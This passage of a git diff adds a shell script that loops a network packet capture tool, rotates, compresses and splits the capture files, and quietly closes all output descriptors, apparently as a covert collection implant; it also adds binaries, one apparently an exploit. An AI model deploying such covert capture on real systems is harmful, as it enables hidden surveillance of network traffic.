(${KBUSED}% is over ${MAXPCT}% full), sleeping $SLEEPFOR (but still running)" + unset STDERR + exec >&- 2>&- 3>&- 4>&- 5>&- 6>&- 7>&- 8>&- 9>&- + sleep $SLEEPFOR + ERR=$? + else + while [ $KBUSED -gt $MAXPCT -a $WIPECT -gt 0 ] ; do + /bin/rm $V -f `ls -Art1 $DEST2/${OUTFILE}* 2>/dev/null | head -1` + ERR=$? + [ "$ERR" -ne 0 ] && break + KBUSED=`$KBDF $DEST1 | grep "%" | grep "/" | sed "s,.* \(.*\)%.*,\1," | tr -dc '0123456789'` + WIPECT=`ls -Art1 $DEST2/${OUTFILE}* 2>/dev/null | wc -l` + done + [ $ERR -eq 0 -a $WIPECT -gt 0 ] && /bin/rm $V -f `ls -Art1 $DEST2/${OUTFILE}* | head -1` + ERR=$? + fi + if [ $ERR -gt 0 ] ; then + ERRCOUNT=`echo $ERRCOUNT+1 | bc` + if [ $ERRCOUNT -gt 15 ] ; then + die 22 "ERROR COUNT $ERRCOUNT: cannot continue" + fi + fi + fi + if [ $KBUSED -gt $MAXPCT ] ; then + if [ $SELFDELETE -eq 0 ] ; then + dbg "Unable to resolve space issue, persisting though, just looping" + continue + fi + die 31 "Unable to resolve space issue, must die: KBUSED=$KBUSED > MAXPCT=$MAXPCT but WIPECT=$WIPECT " + else + continue + fi + + fi + if [ $IPCT -gt $MAXPCT ] ; then + dbg "Cannot write, inodes %used $IPCT > $MAXPCT, sleeping $SLEEPFOR (but still running)" + unset STDERR + exec >&- 2>&- 3>&- 4>&- 5>&- 6>&- 7>&- 8>&- 9>&- + sleep $SLEEPFOR + ERR=$? + if [ $ERR -gt 0 ] ; then + ERRCOUNT=`echo $ERRCOUNT+1 | bc` + if [ $ERRCOUNT -gt 15 ] ; then + die 23 "ERROR COUNT $ERRCOUNT: cannot continue" + fi + fi + continue + fi + #TODO: Look closer here...is this 2sec run being done every time thru? + EXT=`date -u +%Y%m%d%H%M%S` + if [ ! -f $DEST1/.$OUTFILE ] ; then + # A 2 second run before we close stdout to test syntax + dbg "RUNNING $WHICH ONE AS: C=\"-f -i $INTF -p\\\"$RUNFOR:$FILT\\\" -s $CAP -n $DEST1/.$OUTFILE\" $TOOL" + WHICH=THIS + unset STDERR + exec >&- 2>&- 3>&- 4>&- 5>&- 6>&- 7>&- 8>&- 9>&- + C="-f -i $INTF -p\"$RUNFOR:$FILT\" -s $CAP -n $DEST1/.$OUTFILE" $TOOL + ERR=$? + else + dbg $TOOL exited with $ERR, now compress/split/moving last one from $DEST1 to $DEST2 with EXT=$EXT SPLIT=$SPLIT BACKGROUNDED BLOCK + ( + cd $DEST1 + mv $V .${OUTFILE} ${OUTFILE}.$EXT + SPLITFILE=${OUTFILE}.$EXT + if [ "$COMPRESS" ] ; then + dbg compressing with $COMPRESS ${OUTFILE}.$EXT + $COMPRESS ${OUTFILE}.$EXT + SPLITFILE=${OUTFILE}.$EXT.bz2 + [ "$COMPRESS" = "compress" ] && SPLITFILE=${OUTFILE}.$EXT.Z + [ "$COMPRESS" = "gzip" ] && SPLITFILE=${OUTFILE}.$EXT.gz + fi + if [ $SPLIT -gt 0 ] ; then + dbg splitting $SPLITFILE into $SPLIT byte chunks reassemble with cat ${SPLITFILE}_'*' + split -b $SPLIT -a 3 $SPLITFILE ${SPLITFILE}_ + if [ $? == 0 ] ; then + rm $SPLITFILE + else + die 34 split failed: split -b $SPLIT -a 3 $SPLITFILE ${SPLITFILE}_ + fi + fi + mv $V $SPLITFILE* $DEST2/ + ) & + fi + if [ $DELAYFOR -gt 0 ] ; then + dbg sleeping $DELAYFOR until next run + sleep $DELAYFOR + fi + + # Remove if too many files, more than $MAXFILES-1 files + COU=`cd $DEST2 ; ls -At1 2>/dev/null | wc -l` + COU=`echo $COU-$MAXFILES | bc` + if [ $COU -gt 0 ] ; then + for f in `cd $DEST2 ; ls -At1 2>/dev/null | tail -$COU` ; do + dbg "Removing $COU excess files (leaving $MAXFILES): $f" + rm $rmverbose -f $DEST2/$f + done + fi + + if [ $ERR -gt 0 ] ; then + ERRCOUNT=`echo $ERRCOUNT+1 | bc` + if [ $ERRCOUNT -gt 15 ] ; then + die 21 "ERROR COUNT $ERRCOUNT: cannot continue" + fi + fi +done +dbg "ERR=$ERR ERRCOUNT=$ERRCOUNT DONE: "`ls -ald $DIEDIR 2>/dev/null` + +rmdir $DIEDIR diff --git a/Linux/up/wtmf b/Linux/up/wtmf new file mode 100755 index 0000000..5c89f51 Binary files /dev/null and b/Linux/up/wtmf differ diff --git a/Linux/up/xp_gds_inet_server b/Linux/up/xp_gds_inet_server new file mode 100644 index 0000000..6977276 Binary files /dev/null and b/Linux/up/xp_gds_inet_server differ